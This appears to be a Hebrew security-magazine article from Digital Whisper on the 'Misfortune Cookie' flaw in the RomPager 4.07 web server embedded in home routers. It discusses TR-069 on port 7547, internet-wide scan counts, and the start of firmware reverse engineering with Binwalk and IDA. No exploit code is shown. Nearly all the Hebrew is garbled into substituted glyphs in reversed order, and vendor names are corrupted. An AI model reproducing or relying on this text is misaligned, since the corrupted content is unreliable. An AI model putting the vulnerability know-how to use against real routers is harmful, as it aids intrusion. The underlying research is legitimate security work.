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 ˢ˪˷ ˢ˟˥˶ˢ ˢ˴ˣ˲˸ˢ ˪˷˟ ,ˡˣ˟˩˟ ˢˬ˷˪ ˢ˸˩ˤ˷ ,ˡ˥ˣ˧ˬ˟ ˸ˮ˧˧ˮ˰ˬ ˢ˷˪ˣ˥ ˪˰) ˸ˣ˶˥˞ ˸ˣ˲˯ˣˮ ˸ˣ˷˪ˣ˥

˟˯ˢ˪ ˸˪ˠˣ˯ˬ ˞˧ˢ˷ ˵ˤˮˢ ˪ˡˣˠˣ˸˷˪ˣ˥ ,ˢˤˢ ˭ˣ˧˪˧ˠ˟ ˫˧˟˸ˣ˩ ˣˮ˞ , s-"CookieMisfortune  ˨˞ ,("ˬ ˶˟˰

 ,˧˵ˣˣ˧˷ ˡˣ˞ˬ ˥˧˶ˢ˪ ˪˧˥˸ˬ ˶˟˩ ˭˧˧ˮ˰ˢ ˨˩˪ ˸ˣˡˣ˞ ˫˧ˬˣ˯˶˲"˸ˣ˷˪ˣ˥ ˢˡ˟˰ˬ" ,ˢ˪˞˩˷ ˷ ˧ˮˬ ˪˩

˫˧˞ˬˡ˵˞ ˫˧˥˧˪˴ˬ ˥˧˩ˣˢ˪ ˧˞ˮ˸˟˷ ˢˡ˟˰ˬ ,˪ˣ˵ˣ˦ˣ˶˲ˢ X ˳˧˶˲ ˧˦ˣ˪˥˪˞ , x ˸ˣ˷˪ˣ˥ ˧ˮˬ ˪˩ ˪˞˧˴ˮ˦ˣ˲˟˷

" ˫˧˧˶˧˟˯ ˞˪ ˡˣ˞ˬ ˡˣ˞ˬ ˫˧˞ˮ˸ ˭˸ˮ˧ˢ˟ ,˫˧˧ˣ˯ˬIn the Wild˸ˣ˪ˣ˪˰ ,"  ˸ˣ˶˧˷ ˪˷ ˢ˯˶˵ˢ˪ ˫ˣ˶ˠ˪

˸˩˶˰ˬˢ ˪˰ ˡˣ˵ ˸˴˶ˢ˪ ˫ˣ˶ˠ˪ ˪˩ˣ˸ ˫˧˶ˤˣˬ ˶˸ˣ˧ ˡˣ˰ ˫˧˞ˮ˸ ˭˸ˮ˧ˢ˟˷˞˪ˬ ˥˶˧ ˷˧˷˩ ˵˶ˣ , ˵˶ ,˸ˣˬ˶ˣˠ 

ˢ˵˧ˮ˞˲˪  ˸˶˸ˣ˧ˬˣ˪ ˟˶˵˟ ˪ˣ˟˪˟˫˧ˬ˶ˣˠˢ ˞˪ˢ- ˭ˢ˧˪˰ ˫˧˞˶ˣ˵˷ ˫˧˧ˠˣ˪ˣˮ˩˦˟ ˧ˡ˧ ˪˰ ˣ˟˸˩ˮ˷ ˸ˣ˟˸˩

˶˸ˣ˧ ˡˣ˰ ˫˧ˬ˶ˣˠ ˞˪-.˫˧˧ˠˣ˪ˣˮ˩˦ 

˧˸ˢ˪ ˨˶ˣ˴ ˭˧˞˷ ˶ˬˣ˞ ˞˪ ˧ˮ˞˯˥˧ ˭˵˸˪ ˣ˞  ˵˶ ˧ˮ˞ ,˭˸ˣ˞ ˪˴ˮ˪ ˧˶˷˲˞ ˧˸˪˟ ˡ˰ ˢ˷˵˷ ˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˷˪ˣ˥

 ˸˞ ˸ˮ˧˧ˮ˰ˬ ˸ˬ˞˟ ˞˪ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪ ˸ˣ˶˧˟˯ˢ˷ ˭˟ˣˬ˩ .˫ˬˣ˵ˬ˟ ˫˧˶˟ˡˢ ˸˞ ˡ˧ˬ˰ˢ˪ ˨˧˶˴˷ ˭˰ˣ˦

 ˶˟ˡˢ˷ˣ ,˳˧ˬ˟ ˸ˣ˧ˣ˦˷ ˢˤ ˟˸ˣ˩ ˞ˣˢ˷ ˢˬ˷ ˣ˪ ˸˲˩˞ ˸ˬ˞˟ ˞˪ˣ ,˶˥˞ ˣ˞ ˢˤ˩ ˸ˣ˷ˡ˥ ˶˸˞ ˪˷ ˨˶ˣ˰ˢ

 ˢˤ ˣ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˡ˧˥˧ˢ˸ˣˡˣ˞ ˢ˟˸˩ˢ ˸˞ ˞ˣ˶˵˪ˣ ˯ˮ˩ˢ˪ ˫˧˶ˢˬˬ˷ ˫˧˷˪ˣˠˢ ˸ˣˬ˩  ˸ˮ˩ˣ˯ˬˢ ˢ˷˪ˣ˥ˢ

.ˡˣ˞ˬ ˟ˣ˷˥ ˭˧˧ˮ˰ˢ ˸˪˰ˣ˸ ˪ˣˬ ˸ˣ˪˰ ˧˟ˣ˷˧˥ˣ ,˫˧ˮˣ˩˧˯ ˪ˣˢ˧ˮ˪ ˰ˠˣˮ˷ ˢˬ ˪˩˟ ˨˞ ,˶˟˩ˬ ˞˪ ˢ˸˪ˠ˸ˢ˷ 
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 ˸˴ˣ˟˵˟ ˣˮ˩˶˰˷ ˶˵˥ˬ ˶˞˸ˬ ˢˤ ˶ˬ˞ˬ-sMalware & Vulnerability 

Research ˵'˴˟ ˸˷˪ˣ˥ ˸˲˧˷˥˪ ˪˧˟ˣˢ ˢˤ ˶˵˥ˬ .˦ˮ˧ˣ˲Misfortune 

Cookie  ˪˩˟ ˫˧˶˦ˣ˞˶ ˧ˮˣ˧˪ˬ ˪˰ ˵ˣ˥˶ˬ ˸ˣ˦˪˸˷ˢ ˶˷˲˞ˬ ˣˤ ˢ˷˪ˣ˥ ˪˷ ˪ˣ˴˧ˮ .˶˟˰˷ ˷ˡˣ˥˟ ˢˬ˯˶ˣ˲˷

.˫˪ˣ˰ˢ ˧˟˥˶ ˟ ˢ˥˦˟˞ ˸ˣ˧˰˟ ˪˰ ˶˸ˣ˧ ˟˥˶ ˦˵˧˧ˣ˶˲ˬ ˵˪˥˩ ˢ˸˪ˠ˸ˢ ˢ˷˪ˣ˥ˢ-TR-069. ˣ˵˪˥˟ ,˨˩˪ ˧˞ 

 ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ ˶ˣ˵˯˞ ˶ˬ˞ˬˢ ˪˷ ˭ˣ˷˞˶ˢTR-069  ˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˮ˩ˣ˷ ˢˮˮ˧˞ ˢ˷˪ˣ˥ˢ˷ ˧˲ ˪˰ ˱˞ .ˢ˶˴˵˟

 ˥˦˷ˬ˟ˣ ,˦˶˲˟ ˢ˷˪ˣ˥˟ ˢˬˣ˪ˠˢ ˢˬ˴ˣ˰ˢ ˸ˮ˟ˢ˪ ˸˧˥˶˩ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢ ,ˣˬ˴˰˪˷˩

.˪˪˩˩ ˢ˲˧˵˸ˢ 

TR-069 ˣ˞ ,CWMP )CPE WAN Management Protocol ˸˧˵˲˯˪ ˶˷˲˞ˬˢ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ ,( ˣ˞ ˸˧˸˷˸

 ˧˰ˣ˴˵ˬˢ ˭ˣˠ˶'ˤ˟ ˣ˞ ,ˢ˧˸ˣ˥ˣ˵˪˪ ˢˡ˧ ˪˰ ˵˲ˣ˯ˬ ˶˷˞ ˢ˴˵ ˡˣ˧˴˟ ˵ˣ˥˶ˬ ˢ˦˧˪˷ ˦ˮ˶˦ˮ˧˞- CPE 

)Customer Premise Equipment˟ ˶˶˥ˣ˷ ˞ˣˢ .(-2004 ˢ ˧ˡ˧ ˪˰-Broadband Forum ˭ˣˠ˶˞ ˞ˣˢ˷ ,
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 ˸ˣ˷˵˟ ˢ˷˰ˬ˪ ˞ˣˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ,˸˧ˮ˩˦ ˢˮ˧˥˟ˬSOAP RPC ,˧˶˵ ,XML ˬ ˪˰HTTP ˢ˥˧˷˪ ˫ˤˣ˧ˢ ˡ˴ˢ .

ˢ ˡ˧ˬ˸ ˞ˣˢ-CPE ˥˸ˣ˲ ˶˷˞ ,session " ˭˵˸ˢ ˧˲˪ ˞˶˵ˮ˷ ˸˶˷ˢ ˡ˴ ˪ˣˬACS) "Auto Configuration 

Serverˢ .˸˧˵˲˯ˢ ˸ˣ˷˶˟ ˞˴ˬˮ ˶˷˞ ,(CPE-  ˢ˶˵˷ ˶˥˞˪ ˣ˞ ,˶ˡˠˣˬ ˭ˬˤ ˵˶˲ ˪˩ ˢˤ˩˷ ˶ˣ˟˧˥ ˥˸˲˧

˶˧˷˩ˬˢ ˶˷˞˩ ˞ˬˠˣˡ˪ ,ˡ˥ˣ˧ˬ ˰ˣ˶˧˞ ˣˮ˧˷ ˰˴ˣ˟ ˶˷˞˩ ˣ˞ ˷ˡ˥ˬ ˪˰˲ˣˢ ˧˵ ˡ˴ˢ˷ ˨˩˪ ˢ˟˧˯ˢ .ˢ˧˴˶ˣˠ˧˲ˮˣ

˪ ˸ˣˤ˥˸ˢ˪ˣ ˸ˣ˯ˮ˪ ˧˷˧˪˷ ˡ˴ˬ ˰ˣˮˬ˪ ,˶ˬˣ˪˩ .ˢ˥˦˟˞ ˧ˬ˰˦ˬ ˞˧ˢ ˥ˣ˵˪ˢ ˡ˧ˬ˸ ˞ˣˢ ˫ˤˣ˧ˢ-ACS  ˪ˣˬ

ˢ ˨˧˞ ˫˸˧ˢ˸ ˫˞ .˥ˣ˵˪ˢ-CPE ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˰ˡˣ˧-ACS ˸ˮ˵˸ˢ ˭ˬˤ˟ ˣ˟ ˸˰ˬ˦ˣˬ ˸˟ˣ˸˩ˢ ˟˶˪ ˤ˞ ,

http://www.digitalwhisper.co.il/
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ˡ˧ ˪˰ ˵˲ˣ˯ ˶˧˷˩ˬˢ˷ ˢ˥ˮˢ˟) ˸˶ˣ˷˵˸ˢ ˸˧˵˲˯ ˸ˣˡ˟˰ˬ˟ ˢ˥˷ˣ˵ˢ ˪˰ ˠ˲ˮ˵˪ ˧˶˷˲˞ ˨˞ ,(˸˧˵˲˯ˢ ˧

 ˸ˣ˷˵˟ ˧ˡ˧DHCP .˧ˮˡ˧ ˭˲ˣ˞˟ ˫ˠ ˭˟ˣˬ˩ˣ ,˸ˣˬ˧˧ˣ˯ˬ 

 

 

ˢ ˭˧˟ ˸˧˦˶ˡˮ˦˯ ˢ˥˧˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˭˪ˢ˪˷ ˫˧˷˶˸˟-CPE ˪-ACSˢ .-CPE  ˸˷˵˟ ˥˪ˣ˷Inform  ˢ˟ ˸˶˷˪

˸˷˵˟ ˭˩ˬ ˶˥˞˪ˣ ,ˢ˷˵˟˪ ˢ˟˧˯ˢ ˸˞ ˭˧˧˴ˬ ˞ˣˢ  HTTPˢ ˡ˴˪˷ ˨˩ ˪˰ ˢ˰˧˟˴ˬˢ ,ˢ˵˧˶˫˧ˣ˯ˬ  ˡˣ˰ ˭˧˞

 ˰ˡ˧ˬˢ ˪ˣ˩˧ ,˭˩ˬ ˶˥˞˪ .˥ˣ˪˷˪-ACS ˪ ˸ˣ˞˶ˣˢ ˥ˣ˪˷˪ˣ ˢ˵˧˶ˢ ˢ˷˵˟ˢ ˪˰ ˢ˶ˤ˥˟ ˟˧ˠˢ˪-CPE ˢ˞˶ˣˢ .

 ˭ˣ˩ˡ˰ ˣ˪˧˲˞ˣ ,˫˧˴˟˵ ˪˷ ˢ˞˪˰ˢˣ ˢˡ˶ˣˢ ,˶˧˷˩ˬˢ ˪˷ ˫˧˶˦ˬ˶˲ ˪˷ ˢ˟˧˸˩ ˣ˞ ˢ˞˧˶˵ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧

firmware  .˵ˣ˥˶ˬ 

ˡ˧˧ˬ ˢ˷˧ˠ ˢ˴˶˸ ˸˧˵˲˯ˢ ,˫˧˸˧˰˪ˣ ˢ˶˵ˬ˟ ˞ˬˠˣˡ˪ ,ˢ˴˵ˢ ˧˶˧˷˩ˬ˪ ˸˧˪ ˶˷˵˸ˬ ˥ˣ˵˪ ˸˧ˮ˩˦ˢ ˢ˩˧ˬ˸

 ˫ˣˤ˧˪ ˢ˴˶˸ ˸˧˵˲˯ˢ ,ˢˤ˩˷ ˢ˶˵ˬ˟ .˸˧˵˲˯ˢ ˪˷session  ˢˬ ˸ˣ˞˶˪ˣ ,˧˪˷ ˶˧˷˩ˬˢ ˪ˣˬ ˧ˡ˧˧ˬ ˭˲ˣ˞˟

 ˭ˣˮˠˮˬ ˶˴ˣˮ ˣ˪˞ ˫˧˷˧˥˶˸ ˶ˣ˟˰ .ˢ˥˧˷ ˫ˣˤ˧˧ ˶˧˷˩ˬˢ˷ ˢ˞˟ˢ ˫˰˲˪ ˡ˰ ˸ˣ˩˥˪ ˫ˣ˵ˬ˟ ,ˢ˪˵˸ˢ ˶ˣ˵ˬ

 ˞˶˵ˮˢ ˱˯ˣˮ ˪ˣ˵ˣ˦ˣ˶˲˟Connection Request.  ˥ˣ˪˷˪ ˸˧˵˲˯˪ ˶˷˲˞ˬ ˢˤ ˭ˣˮˠˮˬ ˸˷˵˟HTTP  ˸˧˲˧˴˲˯

-˪CPE ˪)-URL  ˭˲ˣ˞˟ ˫ˣˤ˧˧ ˞ˣˢ ,˥ˣ˵˪ˢ ˧ˡ˧ ˪˰ ˸˸ˬˣ˞ˬ ˢ˷˵˟ˢˣ ˢˡ˧ˬ˟ .(˞ˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ + ˧˲˧˴˲˯

ˢ ˪ˣˬ ˪˞ ˢ˥˧˷ ˧ˡ˧˧ˬ-ACS  ˸˞ ˢ˷˰ˬ˪ "˳˪˞ˬ" ˢˤ ˭ˣˮˠˮˬ .(!ˢ˷˵˟ˢ ˸˞ ˥˪˷˷ ˧ˬ˪ ˞˪ˣ) ˣ˪ ˶ˡˠˣˬˢ

 ˸˶˷ ˪˧˰˲ˢ˪ ˥ˣ˵˪ˢHTTP ˟ ˦˶ˣ˲˪ ˭˧ˤ˞ˢ˪ˣ ,ˣ˪˷ ˶˧˷˩ˬˢ ˪˰-WAN ˭˲ˣ˞˟ ˪ ˢ˩˥ˬˢ ,˰ˣ˟˵-Connection 

Requests ˞ˣˢ ˳˪ˬˣˬˢ ˦˶ˣ˲ˢ ˶˲˯ˬ ,˪ˣ˵ˣ˦ˣ˶˲ˢ ˧˲˪ .7547.˸˧˵˲˯ˢ ˧ˡ˧ ˪˰ ˧ˣˮ˧˷˪ ˭˸˧ˮ ˶˟ˡˢ ˨˞ , 

http://www.digitalwhisper.co.il/
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 ˧ˮ˧˧ˮ˰˟ ˭˞˩ ˡ˰ ,ˣˢˤTR-069 ˶˷˞ ˫˪ˣ˰˟ ˫˧˶ˣ˦˞˶ ˫ˮ˷˧ ˰ˣˡˬ ˶˧˟˯ˢ˪ ˢ˸˧˧ˢ ˢˤ ˵˪˥ ˪˷ ˸˧˪˩˸ˢ .

˪ ˫˧ˮ˧ˤ˞ˬ-WAN  ˦˶ˣ˲˟7574 ˸˰˩ ˸˷˵˟˸ˬˢ ˢ˪˞˷ˢ .˶˥˞ ˦˶ˣ˲˟ ˣ˞  ˸ˬ˞˟ ˫˧˶˦ˣ˞˶ ˢˬ˩ ˞˧ˢ

˧˸˶˷ ˭˧ˬ ˢˤ˧˞ˣ ,ˢˤˢ ˦˶ˣ˲˟ ˫˧˟˧˷˵ˬHTTP  .ˣ˧˶ˣ˥˞ˬ ˫˧ˡˬˣ˰ 

 ˞˶˵ˮˢ ˥ˣ˸˲ ˡˣ˵ ˧˪˩˟ ˣˮ˷ˬ˸˷ˢ ˢ˟˥˶ ˦ˮ˶˦ˮ˧˞ ˸˵˧˶˯ ˰˴˟˪ ˧ˡ˩˟ZMAP ˸˞ ˣ˟˸˩˷ ˫˧˶˵ˣ˥ˢ ˧˲ ˪˰ .

 ,˧˪˩ˢZMAP ˟ ˦ˮ˶˦ˮ˧˞ˢ ˪˩ ˸˞ ˵ˣ˶˯˪ ˶˷˲˞ˬ-42 ˲˧˴˲˯ ˦˶ˣ˲˟ ˸ˣ˵ˡ ˪˷ ˦ˮ˶˦ˮ˧˞ ˶ˣ˟˧˥ ˭˸ˮ˧ˢ˟ ˧1 

 ˦˶ˣ˲˟ ˸ˣˮ˧ˬˤˢ ˸˞ ˵ˣˡ˟˪ ,˫˧˶ˣ˲˯ ˫˧ˬ˧ ˨ˣ˸, ˣˮ˥˪˴ˢ ,˪˧ˠ˶ ˦ˮ˶˦ˮ˧˞ ˶ˣ˟˧˥ ˫˰ .ˢ˧˧ˮ˷˪ ˦˧˟ ˢˠ˧'ˠ7547 

ˢ ˪˩ ˪˷-IP-˟ ˫˧-IPv4˫ˮ˷˧˷ ˶˟˸˯ˬ . 46,063,733 IP- ˣ˞) ˢˤˢ ˦˶ˣ˲˟ ˫˧˟˧ˠˬ˷ ˫˧1.18%  .(˦ˮ˶˦ˮ˧˞ˢˬ

 ˫˧˰˧˟˴ˬ ˫˧ˮˣ˸ˮˢ ˧˩ ˣ˰ˡ ,˦˰ˬ ˫˩˪ ˰ˬ˷ˮ ˢˤ ˫˞ ˫˪ˣ˰˟ ˧˶˞˪ˣ˲ˣ˲ ˧˩ˢ ˧ˮ˷ˢ ˦˶ˣ˲˟ ˶˟ˣˡˬ˷ ˨˩ ˪˰- 

˧˶˥˞HTTP   ˦˶ˣ˲)80 ˫˰ (1.77%  ˸ˣ˶˥˞ ˸ˣ˧˵˲˯ˣ ,˧˦˪ˣ˲˧ˡˢ ˦˶ˣ˲˟ ˵˶ ˶˟ˣˡˬ˷ ˶˧˩ˤ˞ ˟ˣ˷ .˦ˮ˶˦ˮ˧˞ˢˬ

) ˶˥˞ ˦˶ˣ˲ ˭ˢ˪˷ ˫˧˶˧˷˩ˬ˟ ˸ˣˠ˲ˮ˵ˬfun fact ˦˶ˣ˲ˢ :Connection Request ˞ˣˢ ˵ˤ˟ ˪˷30005.( 

ˢ ˸ˣ˸˪ˡ ˪˩ ˪˰ ˣˮ˷˵ˮ˷ ˧˶˥˞-IPv4 ˫˪ˣ˰˟ˢˬ ˵˪˥ ˣˮˬˠˡ ,-IP- ˦˶ˣ˲˟ ˢ˶ˤ˥˟ ˣ˟˧ˠˢ˷ ˫˧7547  ˭˲ˣ˞˟

 ˸˷˵˟ ˫ˢ˪ ˣˮ˥˪˷ˣ ,˧˪ˬˣˡˮ˶HTTP  ˸ˣ˷˰˪ ˞˧ˢ ˢ˶˦ˬˢ .˸˧˦˶ˡˮ˦˯fingerprinting  ˧˸˶˷˪HTTP 

ˢ ˢˡ˷ ˸ˣ˰˴ˬ˞˟ ˣˮ˪ ˫˧˟˧ˠˬ˷-"Server˟ "-HTTP headers. 

.˸ˣ˞˴ˣ˸ˢ ˭˪ˢ˪ 

 

 ˢ˸˞ ˧ˬROMPAGER? 

 

ˣˤˬˢ ˫˧˸˶˷ˢˬ ˧˴˥ˬ ˶˸ˣ˧ ,˫˧˞ˣ˶ ˫˸˞˷ ˧˲˩ˢ ˪˪˩ˬ ˰˟˶ˬ ˶˸ˣ˧ ˸˴˵ˣ) ˫˧ˢ-IP- ˧˸˶˷˩ ˫˧ˢˣˤˬ (˫˧

RomPager ˢˤ ˢˬ ˫˧˰ˡˣ˧ ˞˪ ˫˸˞ ˫˞ .RomPager ˪˷ ˳ˬ˷ ˢ˧ˢ ˞˪ ˭ˬ˞ˮˢ ˫˩ˡ˟˰˪ ˫ˠ ,ˡ˟˪ ˞˪ ˫˸˞ ,

˟ ˶˟ˣˡˬ˷ ˶˟˸˯ˬ .ˠ˷ˣˬ-embedded HTTP server ˟˷˥ˬ ˸ˣ˩˶˰ˬ˟ ˷ˣˬ˧˷˪ ˡ˰ˣ˧ˬˢ ˸˶˷ ˶ˬˣ˪˩ ,

 .(˪˧ˠ˶ ˟˷˥ˬˬ ˶˸ˣ˧ ˸ˣ˷˪˥ ˟˶˪ ˭ˢ˷) ˸ˣ˧ˡˣ˰˧˧RomPager ˟ ˢˮˣ˷˞˶˪ ˶˶˥ˣ˷-1996 ˫ˣ˧ˢ ˡ˰ ˪˧˰˲ˣ ,

 ˢˮˣ˶˥˞ ˞˯˶ˠ)- 5.4.( 
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˷ ˢˤ ˫˩˪ ˧˸˶˲˧˯ ˞˪˷ ˢˬ-98% ˢ ˧˸˶˷ˬ-RomPager  ˣˤˢ ˸ˤˣ˶˥ˬˢ ˸˞ ˣ˶˧ˤ˥ˢ-RomPagerέ 

ά4.07/UPnP 1.0ˢ ˧˸˶˷ ˪˷ ˰˧˶˩ˬˢ ˟˶ˢ ˸ˣ˶˥˞ ˫˧˪˧ˬ˟ˣ ,-RomPager  .˞˯˶ˠˢ ˢ˸ˣ˞ ˸˞ ˵ˣ˧ˡ˟ ˫˧˴˧˶ˬ

˵˧ˡ˟ ,˰˷˲ ˪˰ ˞˦˥ ˱˧˯ˣˢ˪ ˧ˡ˩ ˸˞ ˸˶˴˧˧ˬˢ ˢ˶˟˥ˢ ˪ˣˬ ˢRomPager  ˢ˶˶˥ˣ˷ ˪"ˮˢ ˞˯˶ˠˢ ˧˩ ˢ˸˪˰ˢ

-˟2002 .˟˟ ˶˟ˣˡˬ ,˭ˤˣ˞ˢ ˸˞ ˶˟˯˪ ˧ˡ˩-11.3  ˦˶ˣ˲˟ ˣˤˢ ˞˯˶ˠˢ ˸˞ ˫˧˴˧˶ˬ˷ ˫˧˶˧˷˩ˬ ˭ˣ˧˪ˬ7547 

...˦ˮ˶˦ˮ˧˞ˢ ˪˪˩˪ ˫˧ˮ˧ˤ˞ˬˢ  ˦˶ˣ˲ ˪˰ ˢ˪˧˟˵ˬ ˢ˵˧ˡ˟˟80  ˪˰ˬ ˣ˞˴ˬˮ2  ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ .˫˧˶˧˷˩ˬ ˭ˣ˧˪ˬ

 ˦˶ˣ˲ ˸˥˧˸˲˷ ˭˟ˣˬ˩80 ˪-WAN ˧sˢˮ  ˢ˟˶ˢ ˭˩˪ˣ ,ˢ˰ˣˡ˧ ˢ˥˦˟˞ ˸˴˶˲˫˧˧˦˶˲ ˸ˣ˥ˣ˵˪  ˫˧˰ˡˣ˧ ˸ˣ˧˵˲˯ˣ

 ˦˶ˣ˲ ˸˥˧˸˲˷ ˡˣ˰˟ ,ˢ˸ˣ˞ ˫ˣ˯˥˪ ˶˟˩7547  ˪ˣ˵ˣ˦ˣ˶˲ˢ ˷ˣˬ˧ˬ˪ ˸˧˥˶˩ˢ ˞˧ˢCWMP. 

 ˣˮ˥˪˷ ˟ˣ˷ ,ˢˤ ˸˞ ˵ˣˡ˟˪ ˧ˡ˩ ."?ˣˤˢ ˸˧˞˩˶˞ˢ ˞˯˶ˠˢ ˸˞ ˫˧˴˧˶ˬ˷ ˫˧˶˧˷˩ˬˢ ˣ˪˞ ˧ˬ" ˢ˪˞˷ˢ ˸˪˞˷ˮ

 ˸ˣ˷˵˟HTTP˦˶ˣ˲˟ ˫˰˲ˢ ˨˞ , 80ˢ ˪˷ ˫ˠˡˬ˪ ,-IP˪ ˢ˧˧ˮ˲ ,˪˪˩ ˨˶ˡ˟ .ˣˮ˪ ˣ˟˧ˠˢ˷ ˫˧-"/ ˸˶˷˟ "

RomPager  ˸˟ˣ˷˸ ˢ˶˧ˤ˥ˬ401 Authorization Required  ˶˷˞˩˟ˢ ˢˡ˷-realm ˟-header  ˫˷ ˰˧˲ˣˬ

ˬ ˢ˪˰ˬ˪ ˣ˲˴ˮ ˢ˵˧˶˯˟ .˫ˠˡ ˪˷ ˧˞ˡˣ ˧ˡ ˧ˣˢ˧ˤ ˣˮ˪ ˶˷˲˞ˬˢ ˶˟ˡ ,(˩"ˡ˟ ,˟ˣ˷) ˶˦ˣ˞˶ˢ-200  ˫˧ˮˣ˷ ˫˧ˬˠˡ

ˣ˞˶ ˸ˣ˧ˮ˶˴˧ ˸ˣ˶˷˰ˬ :˭ˣˠ˩ ˫˧˶˦TP-LINK, D-[ƛƴƪΣ IǳŀǿŜƛΣ ½¢9Σ 9ŘƛƳŀȄΣ ½ȅ·9[Χ. 

.˫˧ˬˠˡ ˢ˟˶ˢ ˨˩ ˪˩˪ ˰˧ˠˢ˪ ˣˤ˩ ˸˧˲˧˴˲˯ ˢ˩ˢ ˞˯˶ˠ˪ ˫˶ˠ ˢˬ ˢ˶˰˷ˢ ˢ˪˰ˮ ˶ˬ˞ˬˢ ˨˷ˬˢ˟ 

 

 ˶˵˥ˬRomPager 4.07: 

 ˪˷ ˶˦ˣ˞˶ ˧˸˧ˮ˵ ˶˵˥ˬˢ ˨˶ˣ˴˪TP-LINK  ˫ˠˡˬW8961ND  ,˪˧˟˵ˬ˟ .˧˸˧˟˪ ˢ˟ˣ˶˵ˢ ˫˧˟˷˥ˬˢ ˸ˣˮ˥˟

ˢ ˸˞ ˧˸ˡ˶ˣˢ-firmware  ˫˷˟ ˡ˥˞ ˳˟ˣ˵ ˪˧˩ˬ ˶˷˞ ,ˢˤ ˪ˡˣˬ˪ ˫˧˞˸ˬˢras ˦ˬ˶ˣ˲˩ ˢ˞˶ˮ ˞˪ ˳˟ˣ˵ˢ .

ˣˡˣ˞˯˲ ˢ˧ˢ ˣ˟ ˰ˡ˧ˬˢ ˟˶ˣ ,˶˩ˣˬ- .˰ˡ˧ˬˢ ˪˷ ˢˮ˲˴ˢ ˣ˞ ˢ˯˧˥ˡ ˪˰ ˰˧˟˴ˬ˷ ˢˬ ,˧˞˶˵˞ 

 

 ˢ˴˰#1 -  ˫˧˪˟˵ˬ ˫˸˞˷˩firmware  ,ˢˢˣˤˬ ˞˪ ˸˧˷˞˶˟ ˣ˸ˣ˞ ˣ˵ˡ˟-Binwalk. 

˟ ˢ˴˶ˢ-Binwalk ˫˧˶˞ˮ˧˟ ˫˧˴˟˵ ˥ˣ˸˧ˮ˪ ˧˷ˣˬ˧˷ ˧˪˩)( ˢ ˸˞ ˢ˸ˢ˧ˤ-firmware  ˧ˮ˷ ˣˮˬˬ ˳˪˥˪ ˢ˥˧˪˴ˢˣ

˩ ˡ˟˰˧ˡ˟ ˶˶˟˸ˢ ˫˧˶˞ˮ˧˟ˢ ˫˧˴˟˵ˢˬ ˡ˥˞ .˸ˣˮˣˬ˸ ˧˸˷ˣ ˫˧˶˞ˮ˧˟ ˫˧˴˟˵-bootloader -  ˧˞˶˥˞ˢ ˡˣ˵ˢ

ˢ ˪˷ ˧˶˞ˢ ˵˪˥ˢ ˸˞ ˪˧˩ˢ ˧ˮ˷ˢ ˧˶˞ˮ˧˟ ˳˟ˣ˵ˢ .˶˦ˣ˞˶ˢ ˪˷ ˪ˣ˥˸˞˪-firmware ˸ˢ .(˯ˣ˥ˡ ˢ˧ˢ˷) ˸ˣˮˣˬ

 ˦ˣ˷˲ ˣ˧ˢ-resource ˢ˧ˢ ˫˧˧˶˞ˮ˧˟ˢ ˫˧˴˟˵ˢ ˪˷ ˦ˬ˶ˣ˲ˢ .(˫ˢˮ˧ˬ˪ ˫˧˞ˣˠˣ˪) ˪ˣˢ˧ˮ ˵˷ˬˬ˪ ˣˡ˰ˣˮ˷ ˫˧

 ˧˲˪ ,˶˷ˣ˵ˬBinwalk˪ ,-ZynOS ˧˶˧˷˩ˬ˪ ˢ˪˰˲ˢ ˸˩˶˰ˬ˟ ˶˟ˣˡˬ .embedded  ˧ˡ˧ ˪˰ ˢ˥˸ˣ˲˷ZyXEL 

 ˢ˸ˣ˞)ZyXEL  ˪˷ ˸˶˟ˣˡˬˢ ˞˯˶ˠ˟ ˸ˣ˷ˬ˸˷ˬ˷ ˸ˣ˧ˮ˶˴˧ˢ ˸ˬ˧˷˶˟ ˰˧˲ˣˬ˷RomPager˩ ˫˞ .( ˪˩˩ ,˭

 ˞˧ˢ ˣˮ˪˷ ˶˦ˣ˞˶ˢ ˪˷ ˢ˪˰˲ˢ ˸˩˶˰ˬˢ ˢ˞˶ˮˢZynOS. 
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 ˳˧˶ˬ ˣˮ˪˷ ˶˦ˣ˞˶ˢ ˵˶ ˞˪˷ ˶˟˸˯ˬ .ˢ˥˷ˣ˵ˢ ˸˞ ˶ˣ˥˞˪ ˯ˡˮˢ˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪ ˭ˣ˶˥˞ ˤˣ˧˶ˣ˵ ˡˣ˰ZynOS ,

 ˞˪˞˫˧˶˦ˣ˞˶ˢˬ ˡ˥˞ˣ ˡ˥˞ ˪˩  ˸˞ ˫˧˪˧˩ˬ˷ ˣˮ˞˴ˬ˷RomPager 4.07 ˫˧˰ˡˣ˧ ˞˪ ˭˧˧ˡ˰ ˣˮ˥ˮ˞ ˢˤˢ ˟˪˷˟ .

ˢ ˪˩ ˭˧˟ ˶˷˵ˬ˷ ˦ˣ˥ˢ ˢˬ.ˣ˪˞ˢ ˫˧ˮˣ˸ˮ 

˟ ˣˮ˪˷ ˧ˤ˩˶ˬˢ ˧˶˞ˮ˧˟ˢ ˳˟ˣ˵ˢ ˸˞ ˥˸˲ˮ ,˸˧˷˞˶-IDAˢ) ˧˶˞ˮ˧˟ ˵˶ ˞ˣˢ ˳˟ˣ˵ˢ˷ ˭ˣˣ˧˩ˬ .-ZynOS header 

 ˧"˰ ˱˪ˣ˵Binwalk ,(IDA ˩ ˳˟ˣ˵ˢ ˸˞ ˶˯˶˲˪ ˢ˸ˣ˞ ˥˧˶˩ˢ˪ ˨˧˶˴ˣ ,˦ˬ˶ˣ˲ˢ ˸˞ ˸ˣˢˤ˪ ˢ˥˧˪˴ˬ ˞˪-

